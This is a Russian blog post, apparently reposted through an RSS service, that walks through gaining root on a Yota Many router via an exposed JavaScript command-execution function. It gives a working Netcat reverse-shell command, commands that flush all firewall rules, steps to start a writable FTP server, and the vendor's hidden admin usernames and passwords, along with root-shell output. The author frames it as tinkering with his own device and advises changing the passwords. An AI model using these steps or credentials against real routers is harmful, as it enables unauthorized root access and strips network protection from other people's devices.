...

суббота, 31 августа 2013 г.

[Из песочницы] Заглянем под юбку новой Yota Many

Добрый день!

Как Вы думаете, каким минимальным количеством инструментов можно получить SSH-доступ к роутеру Yota Many?

А SSH-доступ с root-правами?

Вы, скорее всего удивитесь, но ответ — двумя, в обоих случаях. Это Ваш браузер и Netcat.



Я очень удивился, когда случайно в списке подключаемых JS-скриптов на странице http://status.yota.ru/ я увидел

этот http://status.yota.ru/js/devControl.js, а в нём вот такую функцию:



function cmsSystem(s,callback) {
if (simulator) {
setTimeout(function () { callback(0); },100);
return;
}

var r={};
r.authparam=calcAuthParam();
r.system=s;
r.command="system";
$.post(
devCtrlUrl, r, callback, "json"
).error(devErrorHandler);
}


А использовалась эта функция, в этом же файле, например, так:

cmsSystem(
"( killall up_cli ; rm -rf /mnt/jffs2/upload/* ) 1>/dev/null 2>/dev/null",
function() { callback(true); }
);




Чувствуете чем пахнет?

Да, эта функция выполняла команду в консоли роутера, но вывода результата она не имела (ну, точнее имела, но не совсем результата).

Тогда я решил поступить следующим образом.

Первое, что нам нужно — скачать Netcat(Windows, Unix) и запустить его с параметрами:



nc -n -vv -l -p 5566




Где:


  • 5566 — порт на нашем компьютере, на котором Netcat будет ждать соеденения.




Получаем следующее:

listening on [any] 5566 ...




Второе — запустить браузер и перейти в консоль JavaScript (в Google Chrome — F12, вкладка Console) и ввести команду:

cmsSystem("nc 10.0.0.33 5566 -e /bin/sh", null);




Где:


  • 10.0.0.33 — IP-адрес выданный Вашему компьютеру роутером.

  • 5566 — порт на нашем компьютере, на котором мы ждем подключения.




Через мгновение в нашей консоли мы увидим:

connect to [10.0.0.33] from (UNKNOWN) [10.0.0.2] 48656




После чего смело выполняем команды так, как будто мы это делали по SSH (все команды выполняются от имени root).

Информация о системе, процессоре, памяти и т.п.
id

uid=0(root) gid=0(root)




uname -a

Linux 9615-cdp 3.0.21+ #1 PREEMPT Tue Apr 30 18:09:49 CST 2013 armv7l GNU/Linux




cat /proc/version

Linux version 3.0.21+ (kevin@kevin-android-build-system) (gcc ver1117 (prerelease) (GCC))
#1 PREEMPT Tue Apr 30 18:09:49 CST 2013




cat /proc/cpuinfo

Processor : ARMv7 Processor rev 1 (v7l)
BogoMIPS : 274.02
Features : swp half thumb fastmult vfp edsp neon vfpv3 tls vfpv4
CPU implementer : 0x41
CPU architecture: 7
CPU variant : 0x0
CPU part : 0xc05
CPU revision : 1

Hardware : QCT MSM9615 CDP
Revision : 0000
Serial : 0000000000000000




cat /proc/meminfo

MemTotal: 44184 kB
MemFree: 2476 kB
Buffers: 0 kB
Cached: 10108 kB
SwapCached: 0 kB
Active: 13868 kB
Inactive: 4840 kB
Active(anon): 8652 kB
Inactive(anon): 16 kB
Active(file): 5216 kB
Inactive(file): 4824 kB
Unevictable: 0 kB
Mlocked: 0 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 44184 kB
LowFree: 2476 kB
SwapTotal: 0 kB
SwapFree: 0 kB
Dirty: 0 kB
Writeback: 0 kB
AnonPages: 8616 kB
Mapped: 5388 kB
Shmem: 68 kB
Slab: 16900 kB
SReclaimable: 11744 kB
SUnreclaim: 5156 kB
KernelStack: 1336 kB
PageTables: 1216 kB
NFS_Unstable: 0 kB
Bounce: 0 kB
WritebackTmp: 0 kB
CommitLimit: 22092 kB
Committed_AS: 484816 kB
VmallocTotal: 827392 kB
VmallocUsed: 301728 kB
VmallocChunk: 519164 kB




free -m

total used free shared buffers
Mem: 43 40 2 0 0
-/+ buffers: 40 2
Swap: 0 0 0




df -h

Filesystem Size Used Available Use% Mounted on
/dev/root 33.6M 30.1M 3.5M 90% /
tmpfs 21.6M 52.0K 21.5M 0% /tmp
none 21.6M 8.0K 21.6M 0% /dev
tmpfs 21.6M 4.0K 21.6M 0% /dev/shm
/dev/mtdblock15 44.1M 1.4M 42.7M 3% /mnt/jffs2
/dev/mtdblock10 28.8M 19.9M 8.9M 69% /usr




top

Mem: 41756K used, 2428K free, 0K shrd, 0K buff, 10136K cached
CPU: 30.7% usr 23.0% sys 0.0% nic 46.1% idle 0.0% io 0.0% irq 0.0% sirq
Load average: 1.01 1.09 1.11 1/167 8372
m PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
8372 4979 root R 3040 6.8 0 23.0 top
862 1 root S 96700218.3 0 0.0 QCMAP_ConnectionManager /etc/mobil
672 1 root S 86448195.2 0 0.0 /usr/bin/qmuxd
864 1 root S 46288104.5 0 0.0 lte_cm
691 1 root S 44960101.5 0 0.0 /usr/bin/netmgrd -u /etc/udhcpc.d/
644 1 root S 36400 82.2 0 0.0 qti
4368 1 root S 36384 82.1 0 0.0 /usr/bin/cxmapp
602 1 root S 34588 78.1 0 0.0 /bin/msg_center
540 1 root S 25424 57.4 0 0.0 /sbin/adbd
707 688 root S 20396 46.0 0 0.0 /usr/bin/mbimd
663 1 root S 20212 45.6 0 0.0 /usr/bin/atfwd_daemon
1211 1 root S 18272 41.2 0 0.0 /yota/cgi-bin/wpdaemon.cgi start
775 1 root S 18140 40.9 0 0.0 /bin/user_in_ctl server
657 1 root S 11604 26.2 0 0.0 /usr/bin/diagrebootapp
783 1 root S 9940 22.4 0 0.0 /bin/epd_ctl
1116 1 root S 4992 11.2 0 0.0 lighttpd -f /etc2/lighttpd/lighttp
619 612 root S 4368 9.8 0 0.0 up_cli
4544 1 root S 3908 8.8 0 0.0 hostapd -B /tmp/hostapd1.conf
612 1 root S 3040 6.8 0 0.0 /bin/sh /yota/up_cli_watchdog.sh
4274 1 root S 3040 6.8 0 0.0 /bin/sh /bin/modem_led.sh




iptables -L

Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere 10.0.0.0/24

Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP all -- anywhere anywhere
DROP all -- anywhere 10.0.0.4

Chain OUTPUT (policy ACCEPT)
target prot opt source destination



Устройство, мягко говоря, не блещет производительностью.

У меня не получилось поставить что-либо через ipkg, из-за малого количества оперативки и отсутствия SWAP — ipkg постоянно падает с «segmentation fault» (может у меня руки кривые?)


Включаем стандартную админ-панель производителя




Включаем встроенный FTP-сервер

Для начала нам надо почистить iptables:

cmsSystem("iptables -F", null);
cmsSystem("iptables -X", null);
cmsSystem("iptables -t nat -F", null);
cmsSystem("iptables -t nat -X", null);
cmsSystem("iptables -t mangle -F", null);
cmsSystem("iptables -t mangle -X", null);
cmsSystem("iptables -P INPUT ACCEPT", null);
cmsSystem("iptables -P FORWARD ACCEPT", null);
cmsSystem("iptables -P OUTPUT ACCEPT", null);


После чего перезагрузить роутер:

rebootDevice(null);


Далее включаем FTP-сервер:

cmsSystem("tcpsvd -vE 0.0.0.0 21 ftpd -w /", null);




И любым FTP-клиентом заходим на ftp://10.0.0.1:21/

Идем в /etc2/lighttpd/ и правим lighttpd.conf, добавляем после $HTTP["host"] == "status.yota.ru" { ... } вот это:



$HTTP["host"] == "full.yota.ru" {
server.document-root = "/www/"
}


Идем в /etc/ и правим hosts, добавляем в конце файла:

10.0.0.1 full.yota.ru




Переходим в браузере по адресу http://full.yota.ru/.

Вводим имя пользователя gemtek и пароль gemtek0978 (или operator, пароль operator).

Наслаждаемся нормальной, не урезанной административной панелью:

image

Имена пользователей находятся в /mnt/jffs2/conf/user/ui.conf, пароли в /mnt/jffs2/conf/user/httpasswd.conf

Пароли настоятельно рекомендую изменить!


На этом моё баловство закончилось, но я надеюсь, что в комментариях подскажут как побороть проблемы с ipkg и восстановлением состояния iptables после перезагрузки(которое, кстати, не влияет на FTP сервер).


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at fivefilters.org/content-only/faq.php#publishers. Five Filters recommends:



Комментариев нет:

Отправить комментарий